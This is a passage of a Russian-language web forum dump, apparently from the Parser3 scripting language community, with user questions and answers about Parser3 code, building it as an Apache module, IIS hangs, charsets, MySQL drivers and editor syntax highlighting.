	^if(def $temp.[$offline.model] && $temp.[$offline.model] is hash){\
		$add[^hash::create[]]\
		$add[$.[$offline.id][$offline.name]]\
		^temp.[$offline.model].add[$add]\
	}{\
		$temp.[$offline.model][$.[$offline.id][$offline.name]]\
	}\
}\
\
Вот это заработало как надо. А можно как-то этот код минимизировать? (это как бы для общего развития и из любви к шелу :)"
"25449","я синонимизировал термины вложенный и многомерный. Те, что имел ввиду господин, автор этого треда, парсер не делает."
"25450","[code]\
$temp[^hash::create[]]\
^offline.menu{\
	^if(!($temp.[$offline.model] is \"hash\")){\
		$temp.[$offline.model][^hash::create[]]\
	}\
	^temp.[$offline.model].add[\
		$.[$offline.id][$offline.name]\
	]\
}\
[/code]\
\
и вам [b]точно[/b] нужно чтобы в $temp.[$offline.model] был хеш? хеш таблица не подойдет? (задача неизвестна). если подойдет то это делается одним оператором: $temp[^offline.hash[model][$.distinct[tables]]]\
\
P.S. мог ошибиться, писал в формочку, не проверял."
"25452","У кого какие идеи?"
"25453","Тут всем нравиться Ultra Edit, подсветка синтаксиса Парсера есть, хороший в общем редактор, но я очень люблю Cold Fusion Studio - классный редактор, вот только была бы в нем \"подсветка\" Парсера и цены бы ему не было :) (кстати кто то там обещал сделать это сделать :) )"
"25457","http://www.ultraedit.com/ там все есть\
а Cold Fusion Studio качать очень долго из инета, да и другой он уже на macromedia.com, я пользюсь старым и нашел его на каком то диске с программами"
"25458","Я помню эта тема уже как-то поднималась. Начнется ли вторая волна? Я уже начал. Но код еще очень сырой, чтобы показывать. Все предидущие мысли по этому поводу съел и переварил. Посмотрем, что выйдет :)"
"25459","А я бы начал с ТЗ (если планируется больше одного разработчика) и разработки архитектуры CMS. А иначе, скорее всего, будет ещё один post-nuke."
"25460","Код пока что для себя - индивидуальный. А техническое задание... С этого действительно надо начинать. Это почти 50% успеха."
"25461","я уже давно загорелся идеей написать ЦМС, хоть я их очень не люблю, но на Парсере хочется написать, может просто для своего развития"
"25462","Всем, кто заинтересовался - mailto:perlator@ukr.net?subject=CMS"
"25465","в смысле заинтересовался???\
\
и еще наткнулся случайно на контент менеджер Freehand http://demo.freehand.ru/ , наверное дорогая штука, но интересная, там даже онлайн wysiwyg редактор есть"
"25466","проблемы можно мылом."
"25468","... хотя для нас с вами это совсем не очевидно, согласен. Если в документации сказано \"Разделитель - код, который вставляется после каждой непустой строки, кроме последней\", то логично предположить, что счетчик внутри разделителя должен относится к этой непустой строке. Так баг или фича?"
"25469","http://parser.proc.ru/forum/ Вот, например..."
"25470","правда подсвечивает он только html/js/css. а ещё EmEditor -- там вообще все чё хошь настроить можно."
"25471","ошибка с якобы неправильным UTF уже обсуждалась"
"25472","вы хотите сказать, что 3.1.1, скачанная вами ранее не висла,\
а скачанная недавно начала виснуть?\
\
там parser3isapi.dll одинаковые до байта.\
\
если проблему в другом не найдёте: можно поискать проблему в parser, думая, что она проявилась на вашем коде, написанном недавно, и её проявление просто совпало с установкой не-меняющего-ничего-по-сути обновления.\
\
если так, мне нужен максимально маленький код, воспроизводящий проблему, bug.html"
"25473","перепроверите, расскажите.."
"25474","Прошу прощения за возможное повторение вопроса.\
Искал в поиске по форуму - не нашёл ничего подобного.\
Суть в том, что пытаюсь пересобрать на вышеуказанной системе Apache из исходных кодов. Заодно хочу собрать parser3 как модуль Apache.\
Скачал исходные коды парсера из CVS взял release_3_1_1.\
Процедура сборки апача в OpenBSD немного отличается от обычной сбоки пакета из исходников. Всё что входит в /usr/src собирается с помощью Makefile.bsd-wrapper.\
Вся сборка и установка пакета выглядит как \
make -f Makefile.bsd-wrapper\
make -f Makefile.bsd-wrapper install\
----\
Последовательность действий:\
качаю parser3 из CVS\
Компилирую апач. (make -f Makefile.bsd-wrapper)\
Собираю parser (./configure, make, make install)\
Редактирую Makefile.bsd-wrapper добавляю туда \
P3S=\
P3LIBS=\
LIBS=\
--add-module=${P3S}/targets/apache13/mod_parser3.c\
из файла src/targets/p3runConfigure\
make -f Makefile.bsd-wrapper clean\
make -f Makefile.bsd-wrapper \
Получаю следуюющее сообщение:\
===================\
===> src/modules/extra\
cc -c  -I../../os/unix -I../../include  -O2 -DDEV_RANDOM=/dev/arandom -DMOD_SSL=208115 -DEAPI -DUSE_EXPAT -I../../lib/expat-lite `../../apaci` mod_parser3.c\
mod_parser3.c:24: pa_httpd.h: No such file or directory\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd/obj/src/modules/extra.\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd/obj/src/modules (line 75 of Makefile).\
*** Error code 1\
\
===================\
Копирую pa_httpd.h в каталог httpd/src/include\
пытаюсь собрать снова. \
получаю:\
===================\
<=== src/modules/ssl\
<=== src/modules\
cc -c  -I./os/unix -I./include  -O2 -DDEV_RANDOM=/dev/arandom -DMOD_SSL=208115 -DEAPI -DUSE_EXPAT -I./lib/expat-lite `./apaci` modules.c\
cc -c  -I./os/unix -I./include  -O2 -DDEV_RANDOM=/dev/arandom -DMOD_SSL=208115 -DEAPI -DUSE_EXPAT -I./lib/expat-lite `./apaci` buildmark.c\
cc -O2 -DDEV_RANDOM=/dev/arandom -DMOD_SSL=208115 -DEAPI -DUSE_EXPAT -I./lib/expat-lite `./apaci` -L/usr/lib  -Wl,-E  -o httpd buildmark.o modules.o  modules/keynote/libkeynote.a  modules/ssl/libssl.a  modules/extra/libextra.a  modules/standard/libstandard.a  main/libmain.a  ./os/unix/libos.a  ap/libap.a  lib/expat-lite/libexpat.a  -lkeynote -lm  -lssl -lcrypto\
modules/extra/libextra.a(mod_parser3.o): In function `parser_handler':\
mod_parser3.o(.text+0xc9): undefined reference to `pa_parser_handler'\
modules/extra/libextra.a(mod_parser3.o): In function `parser_server_init':\
mod_parser3.o(.text+0xde): undefined reference to `pa_version'\
mod_parser3.o(.text+0xe9): undefined reference to `pa_setup_module_cells'\
collect2: ld returned 1 exit status\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd/obj/src (line 112 of Makefile).\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd/obj (line 202 of ./Makefile).\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd/obj (line 184 of Makefile).\
*** Error code 1\
\
Stop in /usr/src/usr.sbin/httpd (line 810 of /usr/src/usr.sbin/httpd/Makefile.bsd-wrapper).\
==============="
"25475","Оно и логично раз dll-ки одинаковые до байта, как Вы говорите.\
Сейчас попробую поставить XML isapi версию парсер 3.1.1 на другую машину c 2000-м сервером и с IIS-ом специально потестирую.\
Постараюсь упростить скрипт, где получается ошибка и если что-то получится обязательно отошлю Вам.\
Я кстати ещё вчера пытался провести такое упрощение кода, но после нескольких коментирований в коде у меня всё висло напрочь :("
"25478","поможет если виснуть, то более локально: будет умирать кусочек iis, с isapi фильтром, не весь iis."
"25479","./configure --with-apache13=/usr/src/usr.sbin/httpd --with-shared-gc=/usr/local/lib"
"25481","[quote]\
добавляю туда \
P3S=\
P3LIBS=\
LIBS=\
--add-module=${P3S}/targets/apache13/mod_parser3.c\
из файла src/targets/p3runConfigure\
[/quote]\
\
P3LIBS не должна получиться пустой в p3runConfigure, я не вполне представляю, как так на вашей машине вышло.\
\
посмотрите на p3runConfigure.in:\
[code]\
…\
P3LIBS=\"$P3S/main/libmain.a …\
[/code]\
\
и предлагаю уйти с деталями в почту."
"25486","архив доступен для скачивания в [url=\"http://www.parser.ru/download/utils/\"]соответствующем разделе[/url] и называется \"Схема подсветки синтаксиса parser3 и xml(html) для редактора HomeSite\". Там внутри всё есть...\
\
Как внести нужную поправку в реестр (подробнее):\
\
1. Start -> Run -> regedit\
2. HKEY_CURRENT_USER -> Software -> Macromedia -> ColdFusionStudio5 -> Parsers\
3. В контекстном меню папки Parsers (вызывается правой кнопкой мыша) выбираем New -> Key и делаем новый ключ (папку типа), называем его [b]Parser 3[/b] (должно совпадать с названием .scc-файла из архива).\
4. В контекстном меню папки Parser 3 выбираем New -> String Value и называем это дело [b]Extensions[/b].\
5. В контекстном меню Extensions выбираем Modify и в поле Value data пишем[b]p;conf;html;[/b]"
"25487","Поставил парсер на 2-й почти точно такой же сервер:\
создал на новом сервере новый сайт с теми же скриптами, прикрутил парсер - запустил - обрадовался, что парсер даже ошибку не стал выдавать на том скрипте, где другой старый сервер ругался на UTF.\
Затем с некоторым запозданием стартовал сайт на старом сервере, где выдавалось сообщение об ошибке - сообщение попрежнему осталось!\
Минут через 5 на новом серваке зависает сайт с парсером 3.1.1.\
IIS целиком не повис, т.к. я послушался и поставил application protection = high\
Я в IIS-е делаю рестарт сайта (вроде как IIS ничего гневного не выдаёт и запускает его без ошибок)\
но при обращении к сайту в Explorer выводится\
\"The server is currently disabled.\" \
\
С интервалом примерно равным разнице между стартами сайтов на двух серверах зависает сайт, запущенный на старом серваке. Рестарт сайта в IIS-е позволил запустить сайт снова - он даже некоторое время поработал, но потом опять отрубился и стал выдавать\
\"The server is currently disabled.\" \
HTTP 500 - Внутренняя ошибка сервера \
\
Вывод первый - на кривость системы грешить не стоит - наблюдается некоторая закономерность да 2-х разных машинах.\
\
Сейчас попробую сделать сайт из 2-х страниц\
@main[]\
Hello World!\
<A href=\"2.html\">GO 2</A>\
\
и\
\
@main[]\
<A href=\"/\">Пока!</A>\
\
\
и попробую погонять сервер на этом \"сайте\"\
если виснуть не будет - начну усложнять тем, что есть на том сайте, где виснет\
\
И ещё попробую проверить будет ли виснуть сайт, когда его запустишь и не будешь сильно напрягать кликами по ссылкам - т.е. запустить, сделать несколько кликов и оставить на полчасика в покое, а потом проверить жив он ещё или уже нет!\
\
Будут новые результаты  - сообщу."
"25491","[code]\
@main[]\
Hello World\
[/code]\
\
меньше не придумешь (без всяких auto.p и прочих лишних методов)\
сайт из одного файла с одним методом - отрубается через 3-4 минуты активных обращений (периодически нажимал F5 на одной и той же странице)\
Сейчас ещё попробую без интенсивного обращения.\
\
P.S.: Кстати говоря CGI-версия 3.1.1. с поддержкой XML под FreeBSD нормально работает - вчера испытал (правда тут механизмы работы разные, но всё же)"
"25492","При открывании через контекстное меню, получается такая фигня:\
\
unknow file type\
\
\"auto.p\" ist't a recognized text document. What do you wish to do?\
\
я выбираю open it, подсветка работает, спасибо вам большое, но таким образом открывается только один документ, второй уже нельзя, приходиться через file>open , в реестре все прописал"
"25493","стартовал сайт - открыл в IE - пару раз F5 (засёк время даже)\
через 3 минуты соседний комп издал \"пик\" в динамик - F5 - сайт висит :(("
"25495","но знаю, что в ряде мест стоит и успешно работает ISAPI версия.\
\
у кого работает: вдруг есть какой опыт в борьбе, которым не жалко поделиться?"
"25496","я обычно открываю новые файлы из списка в панели Files, над вышеописанным глюком особо не напрягался, буим думать...\
\
Там кстати таких чудес ещё много, например чтобы .html-файлы открывались с парсеровской подсветкой придётся отредактировать расширения в Options -> Settings -> Color coding -> Edit extensions, простая перестановка Default не помогает."
"25497","какой из файлов будет работать:\
gc.dll, который лежит рядом c parser3isapi.dll \
или\
WINNT\\gc.dll\
\
т.е. где в начале ищутся dll-ки:\
gc.dll и msvcr71.dll \
если они есть и там, и там???\
\
надеюсь, что при работе дополнительные библиотеки (WINNT\\gc.dll) не ищутся строго на диске C: (например, у меня вообще нет диска С:), а привязаны к системному каталогу."
"25498","Переехал к новому провайдеру: У этого, если верить админу, не используется libmysqlclient.\
Пытался найти здесь в форуме - файлы уже все сняты.\
Скачал с сайта mysql - в архиве есть только libmysqlclient.a.\
\
Подскажите, пожалуйста - это одно и тоже или нет?\
Если нет, может кто знает, где можно скачать этот файл для версии MySQL 3.23.57?\
Или может кто на email вышлет?\
\
Заранее спасибо,\
\
Molotoff"
"25499","платформа=?"
"25500","RedHat Linux\
\
С уважением,\
\
Molotoff"
"25501","Скорее всего уже обсуждалось, но я не нашел...\
\
$a[вася]\
\
^a.match[Вася][i] = False\
^a.match[вася][i] = True\
\
опция [i] должна заставлять игнорировать регистр. Этого не происходит..."
"25502","если не ошибаюсь, для работы этой фичи необходимо, чтобы был задан $request:charset.\
\
Кстати, можно упомянуть про это в нужном месте в документации..."
"25503","Нашел в документации\
\
Рекомендуемый код: \
@auto[] \
#source/client charsets \
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
] \
\
Примечание: для корректной работы методов upper и lower класса string с национальными языками (в том числе русским) необходимо задание $request:charset. \
\
Поставил это рекомендуемое. Теперь у меня \
\
unknown charset\
WINDOWS-1251\
\
....\
Конф. файл выглядит так: \
\
@conf[filespec]\
\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir]\
$sqldriversdir[$confdir]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
]\
\
\
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
]"
"25504","В главном @auto:\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
Никакого эффекта. Проблема осталась."
"25505","С помощью cron'а я запускаю документ, в котором прописано, что обработчиком должен быть Parser, но cron каждый раз выдает сообщение, что \"bad interpreter: No such file or directory\
\".\
Я указыавл директорию расположения parser3.cgi и /home/мой_логин/public_html/cgi-bin/parser3.cgi , /public_html/cgi-bin/parser3.cgi\
И всегда одно и тоже.\
Как вы думаете в чем может быть ошибка."
"25506","Хорошо, с версией понятно, а как быть с окончанием - *.so и *.a это разные вещи?\
\
Ещё раз спасибо,\
\
Molotoff"
"25507","Подскажите про JS в оффтопике. Очень буду благодарен!"
"25508","Здрасте ВСЕ! Вопросец, делаю каунтер необходимо распознать броузер делаю следующее:\
$u_agent[$env:HTTP_USER_AGENT] \
\
$st[^u_agent.match[(opera) (\\d{1,2}.\\d{1,3}){0,1}][i]]		^if($st){ $st_brows[Opera]		$st_ver[$st.2] }\
\
и так для каждого броузера есть ли более оптимальные вариации по разбору $env:HTTP_USER_AGENT"
"25509","там есть один из вариантов разбора переменной окружения $env:HTTP_USER_AGENT\
\
или вам их нужно пару десятков и разных? ;)"
"25511","Залейте на сервер в текстовом режиме."
"25512","Зачeм?\
Вообще есть книжки по js.\
или вот например можно зайти на сайт http://www.htmlbook.ru/content/?id=191 там приведено несколько примеров с подписями правильно (будет работать) и неправильно (работать небудет)"
"25513","да в этом то и проблема, я делаю каунтер со статистикой, там нужно перебрать все счетчики, и операционки по этой переменной, возможно есть более легкий вариант?\
СПАСИБКИ за ваше терпение..."
"25515","Мне бы хотелось увидеть английский английский, то есть, со словами dialogue, catalogue, behaviour, colour, и так далее. ;-)"
"25517","Мне очень нравятся функциональные возможности вышеозначенной программы, но я не могу перейти на нее в силу того, что она не распознает автоматом кодировки. И это бы пол беды, она не умеет перекодировать koi8->win и win->koi8 и это плохо.\
Я знаю, что с помощью неких внешних модулей это можно делать, другое дело где их взять, как установить, и есть ли возможность работать с ними по горячим клавишам, чобы не заморачиваться и не лазить по ветвям менюшек?"
"25518","iconv под windows\
можно создать пользовательскую комманду dos в UE, и вывод направить в в новый файл UE"
"25522","вы ведь собираетесь большой файл со статистикой обрабатывать?\
это нетипичная для parser задача.\
\
на perl будет быстрее и проще."
"25523","Зачем файл обычный MySQL"
"25525","вот прописал в auto.p в таблице подключения БД\
\
mysql	$sqldriversdir/libparser2mysql.so	$sqldriversdir/libparser2mysql.so\
\
говорит:\
\
can not open the module, ./lib/libparser2mysql.so: cannot open shared object file: No such file or directory\
\
что это такое, и как правильно подключить этот драйвер к парсеру :(( HRLP!!!"
"25526","также libmysqlclient это совершенно то же самое, что и libparser3mysql.\
\
так, по вашему?\
оба эти допущения ложны.\
\
вас чем-то не устроил auto.p с конфигурацией по-умолчанию, лежащий в архиве с parser3, что вы взялись его переписать с нуля?"
"25527","Пересел на parser после php.\
Использую mysql в качестве базы данных.\
Назрел вопрос.\
При создании соединений с базой используются ли устойчивые соединения?\
\
Устойчивыми соединениями с базой - такие соединения, которые не разрываются после окончания работы скрипта.\
\
то есть если есть уже открытое соединение с базой, то новое не устанавливается.\
Хотелось бы знать как с этим в парсере, обстоят дела?"
"25528","этот вопрос освещён.\
статья о ^connect"
"25529","Читаем:\
здесь http://www.parser.ru/docs/lang/?opconnect.htm\
\
кешируются одинаковые строки sql запросов.\
две команды connect подряд в одном скрипте, используют одно и тоже соединение\
это ясно\
\
Но как обстоит дело \
с командами connect\
в разных скриптах которые выполняются подряд\
через достаточно короткий промежуток времени, \
и выполняются разные запросы\
 используется ли один идентификатор подключения к базе, или же подключение создается для каждого скрипта каждый раз заново ?"
"25530","Можноли как нибудь установить парсер чтобы parser.cgi находился /home/****/public_html/cgi-bin/parser3.cgi, но на поддоменах /home/****/public_html/stas/ он был тоже доступен, или мне придётся закачивать parser.cgi для каждого подомена отдельно ?\
\
и почему если прописать в .htaccess поддомена /home/****/public_html/stas/cgi-bin/parser3.cgi то всё равно не работает.\
\
Помогите пожалуйста."
"25531","1.\
самое простое, накопируйте.\
так у вас будет разный основной конфигурационный файл, и меньше головной боли.\
\
если же хотите один общий cgi-bin каталог на все ваши домены, так и напишите вашему веб-администратору.\
\
2.\
в директиве action указывается виртуальный путь от корня веб-пространства, не дисковый путь."
"25532","[i]> кешируются одинаковые строки sql запросов[/i]\
возможно вы всё не так поняли, перечитайте на всякий случай...\
[i]> две команды connect подряд в одном скрипте, используют одно и тоже соединение[/i]\
только две команды connect [i]с той же(одинаковой) строкой подключения[/i], так вроде всё правильно.\
\
По поводу вопроса - Парсер в виде модуля к Apache или IIS постоянно висит в памяти, контролируя ситуацию, и может себе позволить некоторое время не разрывать соединение с базой. Парсер же в виде CGI это отдельный, достаточно \"недолгоживущий\" процесс, который по окончании своей работы и выдачи результата \"в браузер\" умирает, и физически не способен после своей смерти как-то повлиять на какое-бы то ни было кэширование-мыширование. Вобщем, пока он жив - он кеширует, а что будет потом - не его проблемы..."
"25533","Перерыл весь форум, faq, доки, но не догоняю я, уж извините :-)\
\
Итак, что у меня есть:\
\
В корне лежит auto.p:\
\
@auto[]\
$CLASS_PATH[^table::create{path\
/dots\
/lib\
/pluging\
/ru}]\
\
^use[config.p]\
^use[language.p]\
^use[header.p]\
^use[menu.p]\
^use[footer.p]\
\
@include[имя_файла]\
$file[^file::load[text;$имя_файла]]\
^process{^taint[as-is][$file.text]}\
\
@main[]\
^header:plugin[]\
^menu:create[]\
^body[]\
^footer:plugin[]\
\
Естественно в таком виде все работает, так как ^use подключает файлы после присвоения $CLASS_PATH в теле @auto. Это я понимаю :-) \
\
А теперь объясните, где в каком виде нужно прописать @conf с $CLASS_PATH чтобы использовать @USE\
\
Я использую Денвер с Parser3, существует файл C:\\WebServers\\usr\\local\\parser3\\auto.p\
\
1. Что имеется ввиду в Документации под \"конфигурационным файлом\"? Это файл, который у меня Денвер ставит, файл, который у меня в корне лежит (мой auto.p) или еще третий какой то?\
\
2. Уже не помню где вычитал, что в .htaccess необходимо прописывать\
ParserConfig типа-путь-до-конфиг-файла\
\
А в исходниках сайта egoroff.spb.ru например сказано, что прописывать необходимо \
\
SetEnv CGI_PARSER_CONFIG типа-путь-до-конфиг-файла\
 \
Это в дополнение к первому вопросу, до какого файла необходимо прописывать путь и необходимо ли вообще и в чем разница между двумя этими вариантами. Поэкспериментировал - у меня всегда выдает 500 ошибку, если это прописано в .htaccess.\
\
3. Третий вопрос, если не сложно скажите конкрентно, где и в каком виде мне нужно прописать @conf\
\
Сильно не бить! Я с Parser знаком 5 дней всего пока :-)"
"25534","зачем вам руками писать @conf[]? чем не устраивает тот, что вы скачали с сайта? и если таки не устраивает, может посмотрте что там уже написано и будете менять существующий, а не писать его с нуля?"
"25535","Заранее благодарю"
"25536","Оке!... \
В локалке все заработало! Ура, да здравствует взаимопомощь! ))\
Спасибо!\
\
Теперь вопрос назрел такой. В Локале то я могу что угодно творить с конфигами, а вот только что спросил хостера своего, получается, что до энтого файла \"КОНФИГУРАЦИООННОГО\" мне не добраться. \
\
Вопрос -- как быть?... Правильно ли я понимаю, что нужно как то переопределить метод @conf[]?... Вероятно для этого предназначены эти конструкции в .htacces, которые я вопросе упоминал. Как их правильно использовать. И куда кидать свой КОНФИГ auto.p и как его подключить?"
"25537","Это перевод perldoc perlre"
"25538","нет первый вариант не подходит.\
\
на счёт второго вопрос:\
\"2.в директиве action указывается виртуальный путь от корня веб-пространства, не дисковый путь.\" - А что это значит ?\
\
Извените за глупый вопрос, но как выглядит этот \"виртуальный путь от корня веб-пространства\""
"25539","Можно ли средствами самого парсера увидеть конфигурацию, описанную в конфигурационном auto.p на сервере?"
"25541","symlink - стандартный юниксовский путь дать одному файлу несколько разных имён даже в разных папках..."
"25542","Выдается такая ошибка, что это может быть?\
\
[Fri Jan 23 19:02:51 2004] /12.html: z:/home/sugrob.ru/www/12.html(4:31): parse error, expecting `'\\n'' [parser.compile]"
"25546","@USE\
/typo/typo.p\
\
^typo:rep[Приветик   \"это \"я\"\"]\
\
разве не так?"
"25548","видите в строке адреса путь?\
отбросьте домен и левее.\
отбросьте вопросительный знак и правее.\
\
то, что останется = виртуальный путь.\
виртуальный, потому, что \
* такого каталога может не быть\
* если и есть, он может лежать совсем не в веб-пространстве, а где-то ещё\
\
варианты развития ситуации:\
\
1. вы хотите, чтобы работало и побыстрее.\
2. вы хотите разобраться в том, как можно что настроить в apache.\
\
варианты разные, требуют от вас разных усилий."
"25549","Не так. Это зависит от вашего auto.p. Если из второго урока, то вот так:\
[code]\
@USE\
/typo/typo.p\
\
@body[]\
^typo:rep[Приветик \"это \"я\"\"]\
[/code]\
\
Но это, скорее всего, не то, что вы хотите получить, ещё правильнее:\
\
[code]\
@USE\
/typo/typo.p\
\
@body[]\
^untaint{^typo:rep[Приветик \"это \"я\"\"]}\
[/code]\
\
Вот так будет работать правильно. Однако результат будет неверен в силу того, что в реальной жизни такие предложения я не встречал (но постараюсь в будущих версиях учесть). Для правильной обработки в конце необходим знак препинания, а закрывающая кавычка должна быть одна (как обычно и бывает, когда используются знаки дюйма):\
\
[code]\
@USE\
/typo/typo.p\
\
@body[]\
^untaint{^typo:rep[Приветик \"это \"я\".]}\
[/code]"
"25550","Неи я предпочитаю:\
2. вы хотите разобраться в том, как можно что настроить в apache.  \
Что такое виртуальный путь я допустим понял, спосибо, но я чего то не пойму как он может быть связан с указанием пути к parser.cgi\
\
Так есть ли способ чтобы разные .htaccess использовали один и тот же parser.cgi из корневого каталога сайта."
"25553","в результате:\
(уже говорилось здесь)\
наиболее простой вариант - как меньше дергать сервер - открывать соединение в \"начале\" формирования страницы и закрывать в \"конце\"."
"25554","в отличии от Парсер2, где каждый оператор ^server[] открывал новое соединение и \"закрывал\" его за собой, в Парсер3 соединение открытое первым ^connect[] \"кешируется\", [i]и повторный запрос на соединение [b]с той же строкой подключения[/b] не производится, а соединение берется из кеша, если оно еще действительно. Поэтому явно допустимы конструкции вида...(далее см. документацию)[/i]."
"25555","К примеру команда\
$response:location[http://$env:SERVER_NAME/search/?sch=^taint[as-is][$form:srch]] вызывает данную ошибку.\
Идя по ссылке страница открывается.\
\
Скажите плз, как это лечить, кроме конечно отказа от редиректа?\
Если надо что-то поменять в настройках сервера, то расскажите об этом. У меня есть полный доступ к нему через webmin панель, либо через SSH/Telnet."
"25556","Скажите можно ли настроить Parser под обработку WML? Если можно, то как?"
"25557","а что вы имеете ввиду под \"обработкой WML\"?\
\
Вариант 1:\
\
Обработка файлов с расширением wml - тут просто, добавляете его в список обрабатываемых обработчиком parser3-handler файлов:\
[code]\
AddHandler parser-handler .html .p3 .wml\
[/code]\
\
Вариант 2:\
\
Выдача контента в виде корректного WML - тут ещё проще, пишите код который это делает, тут дело ограничивается только руками. Написали, не забудьте выдать нужный content-type:\
[code]\
$response:content-type[text/wml]\
[/code]\
или\
[code]\
$response:content-type[text/xml]\
[/code]\
Я уже не помню :) И вообщем всё."
"25558","Проблема в следующем: сharset в заголовке ответа, зачастую, отличается от реальной (прописанной в файле) кодировки или вообще не указан. Подскажите оптимальный алгоритм выяснения реальной кодировки."
"25559","Кто нибудь toq может чтонибудь посоветовать ?"
"25560","В корневом auto.p у меня формируется список ссылок:\
\
[b]^b.menu{[/b] \
[b]<a HREF=\"${b.uri}?name=$b.name\">$b.name</A>[/b]    \
[b]}[/b]\
\
В подкаталоге, в который попадаю через любую ссылку, в auto.p я вписал:\
[b]@auto[][/b]\
[b]$name[$form:name][/b]\
\
Т.е. мне нужно чтобы во всех вложенных каталогах\
в файлах auto.p написав [b]$name[/b], можно было бы получить\
соответствующее значение, которое определяется\
на главной странице при щелчке на определенной \
ссылке.\
В итоге при выборе ссылки я получаю ошибку:\
[b]not determined yet[/b]\
[b]name[/b]\
\
Т.е. моя переменная не определена...\
Если я не использую @auto[], то все работает,\
но лишь в первом вложенном каталоге...\
Что-же я делаю неправильно?\
Заранее спасибо."
"25561","Есть некоторый сабж :-) Аналог sf.net, но заточенный под Parser. Исходники всего сайта в определенный момент, по всей видимости, станут общедоступными.\
\
На первом этапе любой разработчик зарегистрировавшись получит доступ к:\
- системе файловых релизов, аналогичной sf.net, месту для хранения файлов;\
- системе контроля версий с веб-интерфейсом. CVS/CVSup для большинства проектов представляется излишним;\
- системе документирования исходного кода (в идеале - на основе doxygen);\
- форуму для каждого проекта;\
- todo list/feature request;\
- бесплатное место для сайта (но только чистый html, без парсера).\
\
На втором (а может и на первом) этапе:\
- веб-клиент к cvs.parser.ru;\
- средства групповой работы над проектами.\
\
Есть:\
- домен parserdev.ru;\
- ресурсы под всё это хозяйство.\
\
Почему сюда пишу:\
- вдруг кто-то всё-таки до конца прикрутил парсеровскую грамматику к doxygen? С 28.07.03 ведь много воды утекло... Или, быть может, хотя-бы кто-то писал такую штуку на парсере;\
- я не умею делать дизайн хорошо - может быть, кто-то из присутствующих захочет его сделать за строчку в портфолио?\
- и вообще, если кто-то захочет не рассуждать про CMS на парсере, а написать часть реального кода реального сайта - не откажусь :-)"
"25562","Зря домен отдельный - попросили бы на парсер.ру поддомен - вполне хватило бы. А так - посетителей не дождетесь.\
\
Бесплатное место под html без cgi - глупо, narodы.ру и прочие же есть.\
\
Еще что-то хотел сказать - если с дизайном туго совсем будет - поможем =)"
"25563","Поддомен - имеет смысл просить не раньше, чем всё это будет сделано и будет работать.\
\
Бесплатное место под html не так глупо, как кажется - если замысел с автодокументированием получится реализовать, то результат надо где-то хранить. Да и цель проекта - далеко не бесплатный хостинг с cgi."
"25564","@name[]\
$result[$form:name]\
\
а вместо $name писать ^name[]\
Код на работоспособность не проверял, но должен работать."
"25565","почему?\
\
потому, что ожидается, что в одном из @auto[] может быть определены переменные указывающие в какой кодировке живут/отдаются данные, и соответственно именно от этой кодировки парсер будет отталкиваться чтобы раскодировать данные и положить их в $form\
\
как обычно поиск по форуму рулит. одно из древнейших упоминаний об этом: http://www.parser.ru/forum/?id=1207"
"25566","для начала прочтите документацию по директиве, которую используете."
"25568","давайте так: \
* что хочется\
* что есть\
* что делаете (кусочек кода)\
* что не работает"
"25569","кому очень нужно, может взять там."
"25570","разные люди писали уже написали разные варианты.\
просьба поделиться ими, ответив на это сообщение."
"25571","-"
"25573","или можно спокойно садится на 3.1.1(у меня до сих пор 3.1 HEAD)\
да и что в TO DO на следующую версию?"
"25574","А вообще зачем новая? со старой бы разобраться :)"
"25575","А если быстро и чтоб работало ? Если учесть что данный вариант не подходит: \
\
\"1.самое простое, накопируйте.\
так у вас будет разный основной конфигурационный файл, и меньше головной боли.\""
"25576","я вам и предложил простой вариант. номер 1: накопировать.\
чем он вам не подходит, не знаю.\
\
ещё вам посоветовали symlink'и.\
ещё почитать документацию по apache.\
\
вроде бы все варианты."
"25577","Мне необходимо создать более 100 аккаунтов тоесть это сразу 2*100=200 метров только под парсер уходит."
"25578","и вы не знаете, что такое symlink?\
или не знаете, как в apache настроить ещё один каталог со скриптами, общий для всех?"
"25579","Весь форум прочесал, из старых ни одна не работает, а в дистрибутиве MySQL только libmysqlclient.a.\
\
У меня самого, к сожалению только мастдай, пакеты RPM для Linux читать немогём.\
\
Помогите, будьте так добры...\
\
С уважением Molotoff"
"25580","Я не провайдер. И в Апаче разбираюсь на уровне пользователя. Если не трудно дай пожалуйста ссылки где можно почитать о подобных действиях (symlink и тд). А то этот разговор затянется на долго."
"25581","главное чтобы ваш хостинг имел юниксовый шелл (SSH) и давал возможность делать симлинки"
"25583","Paf, хотелось бы получить от вас комментарий по такому вот вопросу. По ряду проблем, выявленных пользователями следует ваш стандартный ответ \"в CVS поправлено, если очень надо - забирайте, компилируйте\". \
\
Можно ли сделать так, что latest development release собирался бы на сервере на регулярной основе в автоматическом режиме (как nightly builds на mozilla.org?) А то ждать stable release (то есть того момента как вы не посчитаете, что объём доработок превысил некий порог и он заслуживает следующего номера в версии) обычно надо очень долго (между 3.1 и 3.11 прошло 4 месяца, между 3.07 и 3.08 - семь).\
\
P.S. CVS у меня на работе не фурычит, а дома по GPRS выкачивать - нереально, так что собирать самому нереально."
"25584","apache_1.3.29\
parser-3.1.1\
как cgi работает, но хотелось бы собрать модулем да еще через DSO. \
Реально ли это?\
В статике апач, если следовать инструкции, не собирается.\
cd parser-3.1.1\
./configure --with-static-gc=/usr/local/lib --with-apache13=../apache_1.3.29/\
gmake\
\
....\
gmake[3]: Entering directory `/usr/home/abx/work/parser-3.1.1/src/targets/apache13'\
chmod +x p3runConfigure\
cp -f p3runConfigure ../apache_1.3.29/\
...\
\
p3runConfigure копируется куда написано, а не куда задумано, но потом копируем руками и следуем инструкции:\
cd ../apache_1.3.29/\
./p3runConfigure --with-layout=Apache\
make\
pa_httpd.h не видим, тож собираем руками, но дальше:\
\
